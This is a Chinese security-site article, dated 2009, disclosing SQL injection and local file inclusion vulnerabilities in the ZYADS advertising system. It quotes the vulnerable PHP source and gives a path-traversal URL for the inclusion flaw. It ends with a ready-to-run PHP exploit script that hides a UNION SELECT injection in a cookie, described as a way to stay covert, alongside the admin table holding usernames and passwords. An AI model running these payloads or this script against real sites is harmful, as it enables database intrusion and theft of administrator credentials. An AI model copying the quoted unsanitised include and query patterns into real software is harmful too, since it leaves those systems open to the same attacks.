首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
中易广告联盟系统(ZYADS) sql注入和本地包含漏洞
来源:http://bbs.wolvez.org/post/245/ 作者:q1ur3n 发布时间:2009-10-30  

在index/news.php 1-31行

PHP代码
  1. <?   
  2. include_once("top.php");   
  3.   
  4.       $newsid = intval($_GET['id']);   
  5.   
  6.       $to_type = addslashes($_GET['type']);   
  7.   
  8.       if ($to_type=='index')   
  9.       {   
  10.           $to_type_s =" and to_type=1";   
  11.       }   
  12.   
  13.        if ($to_type=='webuser')   
  14.       {   
  15.           $to_type_s =" and to_type!=3";   
  16.       }   
  17.   
  18.        if ($to_type=='webadver')   
  19.       {   
  20.           $to_type_s =" and to_type!=2";   
  21.       }   
  22.   
  23.       $newssql = 'select * from zyads_news WHERE `id` =\'' . $newsid . '\'   
  24.  
  25. '.$to_type_s.'';   
  26.   
  27.       $newsre=$db->query($newssql);   
  28.       $newsrow = $db->fetch_array($newsre);   
  29.       if (emptyempty($newsrow)){   
  30.   
  31.         zyads_message('zyads_news');   
  32.       }   
  33. ?>  

可以看到$to_type没定义或者不等于index,webuser,webadver的话 那么$to_type_s是没有定义的

这时候我们就可以提交一个$to_type_s变量来进行sql注入。简单的注入,呵呵。

在/code/adview_cpa_html.php 1-46行

PHP代码
  1. <?php   
  2. /*********************/  
  3. /*                   */  
  4. /*  Version : 5.1.0  */  
  5. /*  Author  : RM     */  
  6. /*  Comment : 071223 */  
  7. /*                   */  
  8. /*********************/  
  9.   
  10. _obfuscate_JQYdYn1jfBI�( );   
  11. define( "IN_ZYADS", TRUE );   
  12. $name = $_GET['name'];   
  13. $adid = $_GET['adid'];   
  14. $offsetwidth = $_GET['offsetwidth'];   
  15. $site = $_GET['site'];   
  16. $click_url = "http://www.erzhi.cn";   
  17. $count_url = "http://www.erzhi.cn";   
  18. if ( emptyempty( $name ) || emptyempty( $adid ) || emptyempty( $site ) )   
  19. {   
  20.         exit( "广告出错" );   
  21. }   
  22. @require( "../user/c/".$name."/user_info.php" );   
  23. require( "../include/soft_class.php" );   
  24. require( "../include/settings.php" );   
  25. $code = new _obfuscate_Y2xpZW50( );   
  26. $getip = $code->_obfuscate_Z2V0aXA�( );   
  27. $getbrowse = $code->_obfuscate_Z2V0YnJvd3Nl( );   
  28. $getos = $code->_obfuscate_Z2V0b3M�( );   
  29. $maketime = time( ) + $setting['zyads_date'] * 3600;   
  30. $maketime = $maketime;   
  31. $strbas = $code->_obfuscate_cGFzc3BvcnRfZW5jcnlwdA��(    
  32.   
  33. $getip."|".$maketime."|".$getbrowse."|".$getos, $setting['url_pwd'] );   
  34. $strbas = _obfuscate_IGI7aGd_LDRuMD0VZg��( $strbas );   
  35. if ( $zyads_users['flag'] != 2 )   
  36. {   
  37.         echo "document.write('帐号被锁定');";   
  38.         exit( );   
  39. }   
  40. if ( _obfuscate_Cx96BhhwZxABPA8�( "../cache/cpa/".$adid.".php" ) )   
  41. {   
  42.         require( "../cache/cpa/".$adid.".php" );   
  43. }   
  44. else  
  45. {   
  46.         exit( "文件丢失-".$adid.".php" );   
  47. }  

$name,$adid这两个变量都能造成本地包含漏洞

不过$adid好利用点。

exp:/code/adview_cpa_html.php?name=admin&adid=../../index&site=www.xxx.com

最后附上一个exp,只是简单的cookie提交参数  为了隐蔽点 呵呵

PHP代码
  1. <?php   
  2. //by q1ur3n   
  3. //team: http://www.wolvez.org   
  4. //exp : zyads.php?site=www.tx8688.com&id=and 1=2 union select 1,2,3,4,5,6%23   
  5. //敏感信息表信息:   
  6. /*  
  7. DROP TABLE IF EXISTS zyads_admin;  
  8. CREATE TABLE zyads_admin (  
  9.    id int(11) NOT NULL auto_increment,  
  10.    username varchar(20) NOT NULL,  
  11.    pwd varchar(50) NOT NULL,  
  12.    login_num int(11) NOT NULL,  
  13.    last_time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,  
  14.    islock int(1) NOT NULL,  
  15.    ip varchar(20) NOT NULL,  
  16.    admin_flag varchar(200) NOT NULL,  
  17.    addtime datetime NOT NULL,  
  18.    PRIMARY KEY (id)  
  19. );  
  20.  
  21. */  
  22.   
  23. $host = $_GET['site'];   
  24. $cmd='to_type_s='.urlencode(stripcslashes($_REQUEST["id"]));   
  25.   
  26. $message = "GET /index/news.php?id=89  HTTP/1.1\r\n";   
  27. $message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-  
  28.  
  29. shockwave-flash, */*\r\n";   
  30. $message .= "Referer: http://www.baidu.com/\r\n";   
  31. $message .= "Accept-Language: zh-cn\r\n";   
  32. $message .= "Content-Type: application/x-www-form-urlencoded\r\n";   
  33. $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";   
  34. $message .= "Host: $host\r\n";   
  35. $message .= "Connection: Close\r\n";   
  36. $message .= "Cookie: ".$cmd."\r\n\r\n";   
  37. //echo $message;   
  38.   
  39. $fp = fsockopen($host, 80);   
  40. fputs($fp, $message);   
  41. $resp = '';   
  42. while ($fp && !feof($fp))   
  43. $resp .= fread($fp, 1024);   
  44. echo $resp;   
  45. fclose($fp);   
  46.   
  47. ?>  

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·Discuz!后台拿Webshell 0day
·ecshop2.72 api.php 文件鸡肋注
  相关文章
·XOOPS 2.2.6 鸡肋本地包含漏洞
·shopxp网购xpCatalog_xpDesc.asp
·Fckeditor 2.4.2 php版本上传文
·花马收信箱子Getshell 0day
·PunBB官方上传附件扩展注射漏洞
·睛天电影系统0DAY
·中易广告联盟系统(ZYADS) sql注
·8603音乐网管理系统0day
·discuz!NT 3.0 特殊环境下利用漏
·DEDECMS 5.1 feedback_js.php 0D
·科讯CMS文件名解析漏洞
·大榕树网络文章管理系统0day
  推荐广告
CopyRight © 2002-2025 VFocuS.Net All Rights Reserved